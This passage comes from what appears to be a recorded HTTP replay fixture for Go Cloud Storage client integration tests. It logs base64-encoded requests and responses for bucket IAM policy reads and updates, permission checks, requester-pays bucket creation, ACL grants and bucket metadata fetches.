uQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAwLCJtZXNzYWdlIjoiUHJvdmlkZWQgTUQ1IGhhc2ggXCJvdlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgTUQ1IGhhc2ggXCJvZlpqR2xjWFBKaUdPQWZLRmJKbDFRPT1cIi4ifX0=" - } - }, - { - "ID": "e1a7bef7c2f0f7b9", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/iam?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "341" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:45 GMT" - ], - "Etag": [ - "CAo=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:45 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrDioJ0fktjtyI_mABE4-oH9KqDlurM5mWiYDhoDp_LRJYSPvDxjuoaYzNhjoTHdHPALySTzCxScTstm27R-praR27EAm4Gx9k3wHAAwKJUptqRnFE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNwb2xpY3kiLCJyZXNvdXJjZUlkIjoicHJvamVjdHMvXy9idWNrZXRzL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImJpbmRpbmdzIjpbeyJyb2xlIjoicm9sZXMvc3RvcmFnZS5sZWdhY3lCdWNrZXRPd25lciIsIm1lbWJlcnMiOlsicHJvamVjdEVkaXRvcjpkZWtsZXJrLXNhbmRib3giLCJwcm9qZWN0T3duZXI6ZGVrbGVyay1zYW5kYm94Il19LHsicm9sZSI6InJvbGVzL3N0b3JhZ2UubGVnYWN5QnVja2V0UmVhZGVyIiwibWVtYmVycyI6WyJwcm9qZWN0Vmlld2VyOmRla2xlcmstc2FuZGJveCJdfV0sImV0YWciOiJDQW89In0=" - } - }, - { - "ID": "df5371a2b0cd8c3b", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/iam?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "317" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJiaW5kaW5ncyI6W3sibWVtYmVycyI6WyJwcm9qZWN0RWRpdG9yOmRla2xlcmstc2FuZGJveCIsInByb2plY3RPd25lcjpkZWtsZXJrLXNhbmRib3giXSwicm9sZSI6InJvbGVzL3N0b3JhZ2UubGVnYWN5QnVja2V0T3duZXIifSx7Im1lbWJlcnMiOlsicHJvamVjdFZpZXdlcjpkZWtsZXJrLXNhbmRib3giXSwicm9sZSI6InJvbGVzL3N0b3JhZ2UubGVnYWN5QnVja2V0UmVhZGVyIn0seyJtZW1iZXJzIjpbInByb2plY3RWaWV3ZXI6ZGVrbGVyay1zYW5kYm94Il0sInJvbGUiOiJyb2xlcy9zdG9yYWdlLm9iamVjdFZpZXdlciJ9XSwiZXRhZyI6IkNBbz0ifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "423" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:46 GMT" - ], - "Etag": [ - "CAs=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrAVgetrpv1xjtKv2B7KFBdnbg20V-btiRn3sD4kQF7shWIQ1-FqJMRsbYfcYJyTMQHv_BhW_eVzvcc56z0LOcYfE-wbCRZpqYjen6c-bVcMzPet2A" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNwb2xpY3kiLCJyZXNvdXJjZUlkIjoicHJvamVjdHMvXy9idWNrZXRzL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImJpbmRpbmdzIjpbeyJyb2xlIjoicm9sZXMvc3RvcmFnZS5sZWdhY3lCdWNrZXRPd25lciIsIm1lbWJlcnMiOlsicHJvamVjdEVkaXRvcjpkZWtsZXJrLXNhbmRib3giLCJwcm9qZWN0T3duZXI6ZGVrbGVyay1zYW5kYm94Il19LHsicm9sZSI6InJvbGVzL3N0b3JhZ2UubGVnYWN5QnVja2V0UmVhZGVyIiwibWVtYmVycyI6WyJwcm9qZWN0Vmlld2VyOmRla2xlcmstc2FuZGJveCJdfSx7InJvbGUiOiJyb2xlcy9zdG9yYWdlLm9iamVjdFZpZXdlciIsIm1lbWJlcnMiOlsicHJvamVjdFZpZXdlcjpkZWtsZXJrLXNhbmRib3giXX1dLCJldGFnIjoiQ0FzPSJ9" - } - }, - { - "ID": "feaa4b1a4dda0450", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/iam?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "423" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:46 GMT" - ], - "Etag": [ - "CAs=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:46 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqwMVZVQQ8s-ZBUJDLKyC-qMMTANncoBhRQWlMCITVUXQrTnFGGxu4GdKyVcuudrSa-DWy5w5iLE-i4a407GopUNma3xIq1eNiyVAziPD7jQ4YluzA" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNwb2xpY3kiLCJyZXNvdXJjZUlkIjoicHJvamVjdHMvXy9idWNrZXRzL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImJpbmRpbmdzIjpbeyJyb2xlIjoicm9sZXMvc3RvcmFnZS5sZWdhY3lCdWNrZXRPd25lciIsIm1lbWJlcnMiOlsicHJvamVjdEVkaXRvcjpkZWtsZXJrLXNhbmRib3giLCJwcm9qZWN0T3duZXI6ZGVrbGVyay1zYW5kYm94Il19LHsicm9sZSI6InJvbGVzL3N0b3JhZ2UubGVnYWN5QnVja2V0UmVhZGVyIiwibWVtYmVycyI6WyJwcm9qZWN0Vmlld2VyOmRla2xlcmstc2FuZGJveCJdfSx7InJvbGUiOiJyb2xlcy9zdG9yYWdlLm9iamVjdFZpZXdlciIsIm1lbWJlcnMiOlsicHJvamVjdFZpZXdlcjpkZWtsZXJrLXNhbmRib3giXX1dLCJldGFnIjoiQ0FzPSJ9" - } - }, - { - "ID": "23d94c8a09c0c334", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/iam/testPermissions?alt=json\u0026permissions=storage.buckets.get\u0026permissions=storage.buckets.delete\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "108" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:46 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:46 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoR-XKWu9nOWmFZve2-NeDyDvZDo5rYpPD3avVEmZkZ-lODvHCSR0D7zdPeCa61L5EtOIYJBqmC0D9Xc229A1GDS5d91vgAGuzRoxRnNa9DjBw68xM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSN0ZXN0SWFtUGVybWlzc2lvbnNSZXNwb25zZSIsInBlcm1pc3Npb25zIjpbInN0b3JhZ2UuYnVja2V0cy5nZXQiLCJzdG9yYWdlLmJ1Y2tldHMuZGVsZXRlIl19" - } - }, - { - "ID": "3d0a13fe961ed15c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "93" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "518" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:47 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoIRjhruHo5rweyX35Zt-Mzm5UDD5vr4319gSNjtnJHD2RWtVLvQdjuZ0jv-XKT3s1xcJO7CvoU-qAehCknukI5ssvv2LgwazyhnkcuFws3isqM9uo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ2LjgwM1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0Ni44MDNaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImJpbGxpbmciOnsicmVxdWVzdGVyUGF5cyI6dHJ1ZX0sImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "c1f385994f4db8e3", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/user-integration%40gcloud-golang-firestore-tests.iam.gserviceaccount.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "159" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJ1c2VyLWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIn0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "589" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:48 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UozEPu-BKQnmBUxTwsOWB7mmIPC5lppmUt6lA150OiXgQttSVRetVysUp299p7PbjI08qchUQl2idgMbfBCScDL5SuoHi_u9ani0DXYX2OV9QXAovQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "ccb3141a79c55333", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3054" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:48 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:48 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoG9XpooOFPlHtC8fg7llzYYETQUMEm0PvG4TbxBF5KdfCdB_sxNi0Yy9KrAmMDPBVyq0Iuaq7mzQOhQe9lXe5PBOc8-CGTXZiEMkMMJe3OYxjExIM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ2LjgwM1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0Ny45MTlaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9hY2wvdXNlci1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNBST0ifV0sImRlZmF1bHRPYmplY3RBY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FJPSJ9XSwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "2d4244737318f2d5", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3054" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:48 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:48 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqn_UdEXhLLXE1QsYjwtyqQlzX3nDvpAO1WNpRkHhyV39RJKkxMBrcd8f6Xo3VZFDps7iKuQHnW49yRqjh42062lkisOH7otDXrdAKAih4Iz9fzERM" - ] - }, - "Body": 